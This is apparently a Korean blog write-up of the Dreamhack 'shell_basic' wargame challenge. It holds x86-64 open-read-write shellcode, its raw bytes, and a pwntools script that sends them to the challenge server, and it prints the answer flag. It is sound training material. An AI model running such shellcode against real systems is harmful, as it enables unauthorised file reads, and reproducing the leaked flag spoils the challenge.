미역줄기의 이모저모
[ Dreamhack ] shell_basic 본문
728x90
1, 문제 확인
참고 코드
$ cat write.asm
section .text
global _start
_start:
;/* write(fd=1, buf='hello', n=48) */
;/* push 'hello\x00' */
mov rax, 0x0a6f6c6c6568
push rax
mov rsi, rsp
push 1
pop rdi
push 0x6
pop rdx
;/* call write() */
push 1
pop rax
syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01 H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05 _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1] 1592460 done cat write.bin |
1592461 segmentation fault ./shell_basic
$
난 참고 코드를 열심히 참고했다. 우선 문제에서 execve 시스템 콜을 하지 못하게 막았으므로 orw셸코드 작성을 한다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong 라고 했으니 이걸 우선 16진수로 바꾼다.(셸 코드에 맞게? 참고 코드를 보면 mov rax, 0x0a6f6c6c6568 이부분!
그러니까, mov rax, /home/shell_basic/flag_name_is_loooooong 이렇게 되게 말이다.
우선 16진수로 바꾸면 2f686f6d652f7368656c6c5f62617369632f666c61675f6e616d655f69735f6c6f6f6f6f6f6f6e67 이렇게 된다. 너무 길어서 한 번에 못쓴다. 16바이트씩 리틀앤디안으로 쪼개서 mov하고 push 해야한다.
참고 코드를 보면 write.asm코드를 짰다.
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x0\n"
"mov rax, 0x676e6f6f6f6f6f6f\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(1)");
void run_sh();
int main() { run_sh(); }
컴파일 한다.
여기서 orw가 실행되는 부분은 run_sh()함수 이기 때문에 run_sh()에서 셸코드를 추출한다.
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
셸코드가 굉장히 길다)
이걸 pwntools를 사용해서 넘겨야한다.
from pwn import *
context.arch = "amd64"
p = remote("host1.dreamhack.games", 22901)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())
컴파일 하면
flag: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
'Hacking > Dremahack 문제풀이' 카테고리의 다른 글
[ Dreamhack ] basic_rop_x64 (0) | 2024.02.16 |
---|---|
[ Dreamhack ] rop (2) | 2024.02.11 |
[ Dreamhack ] Return to Library (1) | 2024.02.09 |
[ Dreamhack ] ssp_01 (0) | 2024.02.08 |
[ Dreamhack ] Return to Shellcode (2) | 2024.02.08 |